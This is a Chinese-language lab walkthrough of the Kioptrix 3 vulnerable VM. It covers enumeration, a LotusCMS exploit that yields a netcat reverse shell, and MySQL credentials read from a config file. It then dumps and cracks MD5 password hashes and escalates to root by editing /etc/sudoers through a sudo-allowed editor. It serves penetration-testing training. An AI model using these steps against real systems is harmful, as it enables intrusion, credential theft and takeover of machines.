

Summary

Kioptirx 3 是一个基于信息收集配合漏洞利用建立立足点, 并以此实现权限提升的靶场

主要环节在于通过信息收集发现CMS的漏洞利用途径, 并获取MySQL中的敏感信息实现提权操作

关键之处不在于工具的独特性与全面性, 而是一种思维, 一种能够通过网站交互想到CMS, 建立连接后能够想到去尝试搜索与利用敏感信息并配合MySQL利用的思路, 特别是各种文件数量繁多的情况下, 能够利用工具与保持耐心去发现敏感信息并完成利用

Key Techniques

- Web Enumeration
- CMS Exploitation
- Sensitive Information Gather
- Linux Privilege Escalation

Reconnaissance

arp-scan进行主机发现

```
1 sudo arp-scan --localnet
2
3 Interface: eth0, type: EN10MB, MAC: 00:0c:29:35:d7:e3, IPv4: 192.168.36.199
4 Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
5 192.168.36.1    50:4f:3b:0d:6a:dc    (Unknown)
6 192.168.36.110 00:0c:29:1b:da:dd    VMware, Inc.
7 192.168.36.231 58:1c:f8:fa:26:ca    Intel Corporate
8 192.168.36.148 02:ab:c2:2e:7d:e7    (Unknown: locally administered)
9
```

得到了目标IP为 192.168.36.110

nmap扫描尝试获取初始信息

```
1 nmap -T4 -A -F 192.168.36.110
2
3 PORT      STATE SERVICE VERSION
4 22/tcp    open  ssh      OpenSSH 4.7p1 Debian 8ubuntu1.2 (protocol 2.0)
5 | ssh-hostkey:
6 |   1024 30:e3:f6:dc:2e:22:5d:17:ac:46:02:39:ad:71:cb:49 (DSA)
7 |_  2048 9a:82:e6:96:e4:7e:d6:a6:d7:45:44:cb:19:aa:ec:dd (RSA)
8 80/tcp    open  http     Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch)
9 |_http-title: Ligoat Security - Got Goat? Security ...
10 |_http-server-header: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch
11 | http-cookie-flags:
12 |   /:
13 |     PHPSESSID:
14 |_     httponly flag not set
```

```
15 | MAC Address: 00:0C:29:1B:DA:DD (VMware)
16 | Device type: general purpose
17 | Running: Linux 2.6.x
18 | OS CPE: cpe:/o:linux:linux_kernel:2.6
19 | OS details: Linux 2.6.9 - 2.6.33
20 | Network Distance: 1 hop
21 | Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
22 |
```

gobuster尝试进行枚举

```
1 | gobuster dir -u http://192.168.36.110 -w /usr/share/seclists/Discovery/Web-
  | Content/DirBuster-2007_directory-list-2.3-medium.txt -t 50
2 |
3 | modules          (Status: 301) [Size: 357] [--> http://192.168.36.110/modules/]
4 | gallery          (Status: 301) [Size: 357] [--> http://192.168.36.110/gallery/]
5 | data             (Status: 403) [Size: 325]
6 | core             (Status: 301) [Size: 354] [--> http://192.168.36.110/core/]
7 | style            (Status: 301) [Size: 355] [--> http://192.168.36.110/style/]
8 | cache            (Status: 301) [Size: 355] [--> http://192.168.36.110/cache/]
9 | phpmyadmin       (Status: 301) [Size: 360] [--> http://192.168.36.110/phpmyadmin/]
10 | server-status    (Status: 403) [Size: 334]
11 |
```

尝试进行子域名枚举, 但是发现无子域名

Initial Access & Exploitation

```
1 | http://192.168.36.110/
```

Ligoat Security

[Home](#)[Blog](#)[Login](#)

Got Goat? Security ...

Got Goat? Security ...

We've revamped our website for the new release of the new gallery CMS we made. We are geared towards security...

We are so full of ourselves, we've put this on our dev-servers just to show how serious we are. Visit our blog section for more information on our new gallery system.

Or cut to the chase and see it [now!](#)

选择Login后 显示

```
1 | http://192.168.36.110/index.php?system=Admin
```



```
1 | http://192.168.36.110/modules/
```

Index of /modules

Name	Last modified	Size	Description
Parent Directory		-	
Backup/	14-Apr-2011 12:23	-	
Blog/	03-Aug-2010 14:46	-	
Dashboard/	14-Apr-2011 12:23	-	
FileManager/	14-Apr-2011 12:23	-	
Menu/	14-Apr-2011 12:23	-	
Nicedit/	14-Apr-2011 12:23	-	
TinyMCE/	14-Apr-2011 12:23	-	
lrte/	14-Apr-2011 12:23	-	

Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch Server at 192.168.36.110 Port 80

```
1 | http://192.168.36.110/phpmyadmin/
```



但是, 经过搜索后发现, 目标使用的是 Lotus CMS, 尝试进一步搜索相关的已有漏洞, 交叉对比, 潜在的利用漏洞

使用 <https://github.com/Hood3dRob1n/LotusCMS-Exploit/tree/master> 脚本进行利用 (metasploit针对lotuscms进行利用时, 出现exploit成功, 但是无法建立session的问题)

```
1 nc -lnvp 4444
2 listening on [any] 4444 ...
3 connect to [192.168.36.199] from (UNKNOWN) [192.168.36.110] 58734
4 /bin/bash -i
5
6
7 python -c 'import pty; pty.spawn("/bin/bash")'
8 www-data@kioptrix3:/home/www/kioptrix3.com$ sudo -l
9 sudo -l
10 [sudo] password for www-data:
11
12 www-data@kioptrix3:/home/www/kioptrix3.com$ cat /var/www/html/gallery/gconfig.php
13 <w/kioptrix3.com$ cat /var/www/html/gallery/gconfig.php
14 cat: /var/www/html/gallery/gconfig.php: No such file or directory
15 www-data@kioptrix3:/home/www/kioptrix3.com$ ls -al
16 ls -al
17 total 92
18 drwxr-xr-x  8 root root  4096 Apr 15  2011 .
19 drwxr-xr-x  3 root root  4096 Apr 12  2011 ..
20 drwxrwxrwx  2 root root  4096 Apr 15  2011 cache
21 drwxrwxrwx  8 root root  4096 Apr 14  2011 core
22 drwxrwxrwx  8 root root  4096 Apr 14  2011 data
23 -rw-r--r--  1 root root 23126 Jun  5  2009 favicon.ico
24 drwxr-xr-x  7 root root  4096 Apr 14  2011 gallery
25 -rw-r--r--  1 root root 26430 Jan 21  2007 gnu-lgpl.txt
26 -rw-r--r--  1 root root   399 Feb 23  2011 index.php
```

```

27 drwxrwxrwx 10 root root 4096 Apr 14 2011 modules
28 drwxrwxrwx 3 root root 4096 Apr 14 2011 style
29 -rw-r--r-- 1 root root 243 Aug 5 2010 update.php
30 www-data@kioptrix3:/home/www/kioptrix3.com$ cd gallery
31 cd gallery
32 www-data@kioptrix3:/home/www/kioptrix3.com/gallery$ ls -al
33 ls -al
34 total 164
35 drwxr-xr-x 7 root root 4096 Apr 14 2011 .
36 drwxr-xr-x 8 root root 4096 Apr 15 2011 ..
37 drwxr-xr-x 2 root root 4096 Apr 12 2011 BACK
38 -rw-r--r-- 1 root root 3573 Oct 10 2009 db.sql
39 -rw-r--r-- 1 root root 252 Apr 12 2011 g.php
40 drwxr-xr-x 3 root root 4096 Apr 12 2011 gadmin
41 -rw-r--r-- 1 root root 214 Apr 12 2011 gallery.php
42 -rw-r--r-- 1 root root 1440 Apr 14 2011 gconfig.php
43 -rw-r--r-- 1 root root 297 Apr 12 2011 gfooter.php
44 -rw-r--r-- 1 root root 38771 Apr 12 2011 gfunctions.php
45 -rw-r--r-- 1 root root 1009 Apr 12 2011 gheader.php
46 -rw-r--r-- 1 root root 249 Apr 12 2011 index.php
47 -rw-r--r-- 1 root root 10340 Apr 12 2011 install.BAK
48 -rw-r--r-- 1 root root 212 Apr 12 2011 login.php
49 -rw-r--r-- 1 root root 213 Apr 12 2011 logout.php
50 -rw-r--r-- 1 root root 249 Apr 12 2011 p.php
51 drwxrwxrwx 2 root root 4096 Apr 12 2011 photos
52 -rw-r--r-- 1 root root 213 Apr 12 2011 photos.php
53 -rw-r--r-- 1 root root 219 Apr 12 2011 post_comment.php
54 -rw-r--r-- 1 root root 214 Apr 12 2011 profile.php
55 -rw-r--r-- 1 root root 87 Oct 10 2009 readme.html
56 -rw-r--r-- 1 root root 213 Apr 12 2011 recent.php
57 -rw-r--r-- 1 root root 215 Apr 12 2011 register.php
58 drwxr-xr-x 2 root root 4096 Apr 13 2011 scopbin
59 -rw-r--r-- 1 root root 213 Apr 12 2011 search.php
60 -rw-r--r-- 1 root root 216 Apr 12 2011 slideshow.php
61 -rw-r--r-- 1 root root 211 Apr 12 2011 tags.php
62 drwxr-xr-x 6 root root 4096 Apr 12 2011 themes
63 -rw-r--r-- 1 root root 56 Oct 10 2009 version.txt
64 -rw-r--r-- 1 root root 211 Apr 12 2011 vote.php
65 www-data@kioptrix3:/home/www/kioptrix3.com/gallery$ cat gconfig.php

```

得到了敏感信息

```

1 $GLOBALS["gallarific_path"] = "http://kioptrix3.com/gallery";
2
3     $GLOBALS["gallarific_mysql_server"] = "localhost";
4     $GLOBALS["gallarific_mysql_database"] = "gallery";
5     $GLOBALS["gallarific_mysql_username"] = "root";
6     $GLOBALS["gallarific_mysql_password"] = "fuckeyou";

```

尝试使用收集到的 Username 与 Password 登录 MySQL

```

1 www-data@kioptrix3:/home/www/kioptrix3.com/gallery$ mysql -u root -pfuckeyou

```

```

2  mysql -u root -pfuckeyou
3  welcome to the MySQL monitor.  Commands end with ; or \g.
4  Your MySQL connection id is 54
5  Server version: 5.0.51a-3ubuntu5.4 (Ubuntu)
6
7  Type 'help;' or '\h' for help. Type '\c' to clear the buffer.
8
9  mysql> show databases;
10 show databases;
11 +-----+
12 | Database          |
13 +-----+
14 | information_schema |
15 | gallery            |
16 | mysql              |
17 +-----+
18 3 rows in set (0.00 sec)
19
20 mysql> use gallery;
21 use gallery;
22 Reading table information for completion of table and column names
23 You can turn off this feature to get a quicker startup with -A
24
25 Database changed
26 mysql> show tables;
27 show tables;
28 +-----+
29 | Tables_in_gallery |
30 +-----+
31 | dev_accounts      |
32 | gallarific_comments |
33 | gallarific_galleries |
34 | gallarific_photos  |
35 | gallarific_settings |
36 | gallarific_stats    |
37 | gallarific_users    |
38 +-----+
39 7 rows in set (0.00 sec)
40
41 mysql> select * from dev_accounts;
42 select * from dev_accounts;
43 +----+-----+-----+
44 | id | username | password |
45 +----+-----+-----+
46 | 1  | dreg     | 0d3eccfb887aabd50f243b3f155c0f85 |
47 | 2  | loneferret | 5badcaf789d3d1d09794d8f021f40f0e |
48 +----+-----+-----+
49 2 rows in set (0.00 sec)
50

```

在 <https://crackstation.net/> 进行破解得到了

1			
2	Hash	Type	Result
3	0d3eccfb887aabd50f243b3f155c0f85	md5	Mast3r
4	5badcaf789d3d1d09794d8f021f40f0e	md5	starwars

Privilege Escalation

ssh尝试连接（新版 OpenSSH 默认禁用了 `ssh-rsa` 和 `ssh-dss` 等旧算法，Kioptrix 这类老靶机只支持这些旧算法，加上 `-oHostKeyAlgorithms+=ssh-rsa,ssh-dss` 强制启用即可）

```

1  ssh -oHostKeyAlgorithms+=ssh-rsa -oPubkeyAcceptedAlgorithms+=ssh-rsa
   loneferret@192.168.36.110
2  The authenticity of host '192.168.36.110 (192.168.36.110)' can't be established.
3  RSA key fingerprint is: SHA256:NdsBNvaQieyTUKFzPjRpTVK6jDGM/xwwUi46IR/h1jU
4  This key is not known by any other names.
5  Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
6  Warning: Permanently added '192.168.36.110' (RSA) to the list of known hosts.
7  ** WARNING: connection is not using a post-quantum key exchange algorithm.
8  ** This session may be vulnerable to "store now, decrypt later" attacks.
9  ** The server may need to be upgraded. See https://openssh.com/pq.html
10 loneferret@192.168.36.110's password:
11 Linux Kioptrix3 2.6.24-24-server #1 SMP Tue Jul 7 20:21:17 UTC 2009 i686
12
13 The programs included with the Ubuntu system are free software;
14 the exact distribution terms for each program are described in the
15 individual files in /usr/share/doc/*/copyright.
16
17 Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
18 applicable law.
19
20 To access official Ubuntu documentation, please visit:
21 http://help.ubuntu.com/
22 Last login: Sat Apr 16 08:51:58 2011 from 192.168.1.106
23 loneferret@Kioptrix3:~$ ls -al
24
```

```

1  User loneferret may run the following commands on this host:
2      (root) NOPASSWD: !/usr/bin/su
3      (root) NOPASSWD: /usr/local/bin/ht
4  loneferret@Kioptrix3:~$ sudo ht /etc/sudoers
5  Error opening terminal: xterm-256color.
6  loneferret@Kioptrix3:~$ export TERM=xterm
7  loneferret@Kioptrix3:~$ sudo ht /etc/sudoers
```

利用ht将loneferret进行权限修改 修改为

```
1 loneferret ALL=(ALL) ALL
```

得到root权限